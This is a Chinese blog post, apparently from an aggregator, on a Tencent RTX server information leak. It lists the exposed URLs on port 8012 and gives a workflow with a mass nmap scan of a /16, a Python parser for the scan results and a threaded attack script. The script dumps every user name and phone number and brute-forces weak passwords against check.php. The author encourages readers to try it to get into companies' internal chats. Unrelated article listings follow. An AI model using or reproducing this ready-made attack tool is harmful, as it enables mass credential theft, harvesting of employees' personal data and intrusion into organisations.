rtx信息泄漏利结合弱口令导致被批量社工思路
腾讯通RTX(Real Time eXchange)是腾讯公司推出的企业级实时通信平台.
rtx server 存在暴露用户信息的漏洞,通过web访问
http://RtxServerIp:8012/userlist.php #泄漏公司所有rtx用户
http://RtxServerIp:8012/getmobile.cgi?receiver= #泄漏用户手机号
http://RtxServerIp:8012/check.php #验证弱口令
脚本化攻击思路:
sudo nmap -sS -T4 -Pn -p8012 xxx.xxx.xxx.0/16 -oX out.xml nmap 扫描大网段以基数来填补精度的不足,然后我们得到一个开着nmap扫描的out.xml文
分析out.xml文件提取开放8012端口的ip
rtx攻击脚本处理这些ip,探测弱口令
步骤2 分析nmap结果的脚本xml.py
#!/usr/bin/env python
#-*- coding= utf-8 -*-
import xml.etree.ElementTree as ET tree = ET.parse("out.xml")
doc = tree.getroot()
for x in doc:
if x.tag == 'host':
xlist = x.getchildren()
ports = xlist[3]
port = ports.getchildren()[0]
state = port.getchildren()[0]
if state.get('state') == 'open':
print xlist[1].get('addr')
步骤3 rtx server attack 脚本
#!/usr/bin/env python
#-*-coding=utf-8-*-
# date : 2013.12.16
# author : l137
# rtx hack import threading
import urllib
import re
import sys
import getopt
import json
import threading
import httplib
import time def usage():
print '''
Usage : ./f.py -u target_ip
-h Show this page!
''' class postThread(threading.Thread): def __init__(self, data):
threading.Thread.__init__(self)
self.data = data
def run(self):
for x in self.data:
try:
print self.data
except Exception, e:
print e class rtx(object):
'rtx attacker class'
ip = '' data = '' port = '' fullData = '' def __init__(self, ip):
if self.checkIp(ip):
self.ip = ip
url = "http://"+ip+":"+self.port+"/userlist.php"
try:
content = urllib.urlopen(url).read()
self.data = json.loads(content)
except (IOError,ValueError),e:
print "\033[1;31m"+self.ip+"\33[0m is not vulnerable!"
sys.exit()
self.checkVulnerable()
#print self.data
self.checkPhone()
self.bruteforce()
else:
print " ______________"
print " \033[07m are you kidding me? \033[27m "
print " \ "
print " \ \033[1;31m,__,\033[1;m "
print " \ \033[1;31m(\033[1;moo\033[1;31m)____\033[1;m "
print " \033[1;31m(__) )\ \033[1;m "
print " \033[1;31m ||--|| \033[1;m\033[05m*\033[25m\033[1;m [ l137 | lietdai@gmail.com ]\r\n\r\n" @staticmethod
def checkIp(ip):
pattern = r"\b(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\b"
if re.match(pattern, ip):
return True
else:
return False def checkVulnerable(self):
print "\033[1;31m Oh...I got something!!"
print " Please wait a bit....."
#for x in range(len(self.data)):
# print self.data[x]
print " "+str(len(self.data))+" records was found!! \033[0m" def checkPhone(self):
print "\033[1;31m Now check phone number in records.....\033[0m"
url = "http://"+self.ip+":"+self.port+"/getmobile.cgi?receiver="
output = file('out.txt','w')
for x in xrange(0,len(self.data)):
url2 = url + self.data[x]['name']
self.data[x]['phone'] = urllib.urlopen(url2).read()
try:
output.write(str(self.data[x]['id'])+'\t'+self.data[x]['name']+'\t'+self.data[x]['phone']+'\n')
print self.data[x]
except Exception,e:
print e
output.close()
print "\033[1;31m put the records int out.txt\033[0m"
#print self.data def bruteforce(self):
print "\033[1;31m Brute force starting...."
num = raw_input(" Please input the number of threads for brute force(default 10) : ")
print " And it will take a little time ...\033[0m"
if num == '':
num = 10
else :
try :
num = int(num)
except ValueError,e:
print e
sys.exit()
if (num < 1) or (num > 15):
print "threads must in 1-15"
sys.exit() threads = [];
block = len(self.data)/num
for i in xrange(0, num):
if i == num-1:
data = self.data[block*i:]
else:
data = self.data[i*block:(i+1)*block]
t = threading.Thread(target=self.fwork, args = (self.port, self.ip, data))
threads.append(t)
for i in threads:
i.start() @staticmethod
def fwork(port,ip,b):
for x in xrange(0,len(b)):
dicts = ['','','qweasd','','','','qusiba','']
#dicts.append(b[x]['phone'])
dicts.append(b[x]['name'])
for x in dicts:
httpClient = None
try:
name = dicts[-1]
postData = urllib.urlencode({'user':name,'pwd':x})
headers = {"Content-type":"application/x-www-form-urlencoded", "Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"};
httpClient = httplib.HTTPConnection(ip, port, timeout=30)
httpClient.request("POST", "/check.php", postData, headers)
response = httpClient.getresponse()
responseHeader = response.getheaders()
if responseHeader[1][1] == '':
print name,x
except Exception, e:
print e
finally:
httpClient.close()
def getWeakPass(self):
file_ob = open("password.txt")
try:
list_file = file_ob.readlines()
finally:
file_ob.close()
for x in list_file:
self.dists.append(x.strip('\n')) def main():
try:
opts, args = getopt.getopt(sys.argv[1:], "u:h", ["help"])
except getopt.GetoptError:
usage()
sys.exit()
for o,a in opts:
if o in ("-h", "--help"):
usage()
elif o == "-u":
r = rtx(a)
else :
usage()
if len(opts) == 0:
usage() if __name__ == "__main__" :
main()
这里会获取很多很重要公司的员工rtx帐号,进入内网后可以窃取群聊内容.大家自己试试就行...
截图:
964条记录
参考:
http://www.wooyun.org/bugs/wooyun-2010-013290
rtx信息泄漏利结合弱口令导致被批量社工思路的更多相关文章
- Bugku-CTF社工篇之简单的个人信息收集
- snmp弱口令引起的信息泄漏
0x00 snmp协议简介 snmp协议即简单网络管理协议(SNMP,Simple Network Management Protocol).目前一共有3个版本:V1,V2c,V3.V3是最新的版本, ...
- 全国职业技能大赛信息安全管理与评估-第三阶段-弱口令自动爆破+读取Flag脚本
自动爆破SSH弱口令+读取Flag #coding=utf-8 import paramiko sshc = paramiko.SSHClient() sshc.set_missing_host_ke ...
- CTF之信息泄漏
web源码泄漏 .hg源码泄漏: 漏洞成因:hg init的时候会生成.hg,http://www.xx.com/.hg/, 工具:dvcs-ripper,(rip-hg.pl -v -u http ...
- snmp默认团体名/弱口令漏洞及安全加固
0x00基础知识 简单网络管理协议(SNMP)被广泛用于计算机操作系统设备.网络设备等领域监测连接到网络上的设备是否有任何引起管理上关注的情况.在运行SNMP服务的设备上,若管理员配置不当运行默认团体 ...
- Python Telnet弱口令爆破脚本及遇到的错误与问题
写得时候遇到了一个很大的问题,就是我在发送用户名,接受用户名就会一直卡住.然后等了好久后提示 recv ‘\r\nSession timed out.\r\n\r\nTelnet Server has ...
- 甲方安全建设之office365邮箱弱口令检测
甲方安全建设之office365邮箱弱口令检测 信息收集 资产范围 资产列表总数是521 抓包后发现只有102 一番测试之后发现控制Response的关键在于MaxEntriesReturned字段, ...
- weblogic系列漏洞整理 -- 2. weblogic弱口令
目录 二. weblogic弱口令 0. 思路 1. python爆破脚本 2. 技巧 一.weblogic安装 http://www.cnblogs.com/0x4D75/p/8916428.htm ...
- python实现FTP弱口令扫描器与简单端口扫描器
python实现FTP弱口令扫描器与简单端口扫描器 目录 FTP弱口令扫描器 简单端口扫描器 参考: https://blog.csdn.net/rebelqsp/article/details/22 ...
随机推荐
- 【阿里云产品公测】ACE安装wordpress博客图文教程
作者:阿里云用户51干警网 阿里云ace搭建wordpress图文教程 按照大大说的,wordpress确实能够轻松创建,只有几步. 我想说,小白的世界技术大大还是不了解.想当初我了解一下怎么 ...
- 【Java/Android性能优2】Android性能调优工具TraceView介绍
本文参考:http://www.trinea.cn/android/android-traceview/ Android自带的TraceView堪比java的性能调优工具visualvm线程视图,可以 ...
- 【Java的JNI快速学习教程】
1. JNI简介 JNI是Java Native Interface的英文缩写,意为Java本地接口. 问题来源:由于Java编写底层的应用较难实现,在一些实时性要求非常高的部分Java较难胜任(实时 ...
- RandomAccessFile的使用
package com.lk.C; import java.io.IOException; import java.io.RandomAccessFile; public class RandomAc ...
- UITableView 的增删改 自定义UITableViewCell
1.UITableView的增删改 //设置编辑模式 [self.tableView setEditing:YES animated:YES]; //可以不写 - (BOOL)tableView:(U ...
- 让TabelView视图中自定义的Toolbar固定(不随cell的移动而移动)
//在viewDidLoad方法中创建Toolbartoolbar = [[UIView alloc] initWithFrame:CGRectMake(, , , )]; toolbar.backg ...
- nodejs7-buffer
buffer:js在后台操作的必须用到二进制,buffer类就是用于帮助我们处理这种情况 创建buffer对象: new Buffer(size):创建buff对象,有length属性 buf.f ...
- jQuery无缝循环开源多元素动画轮播jquery.slides插件
详细内容请点击 初始化插件: 一款基于jQuery无缝轮播图插件,支持图内元素动画,可以自定义动画类型$(".slideInner").slide({slideContainer: ...
- 【转载】从 LinkedIn 的数据处理机制学习数据架构
http://www.36dsj.com/archives/40584 译者:伯乐在线-塔塔 网址:http://blog.jobbole.com/69344/ LinkedIn是当今最流行的专业社交 ...
- 收藏的js学习小例子
1.js模拟java里的Map function Map(){ var obj = {} ; this.put = function(key , value){ obj[key] = value ; ...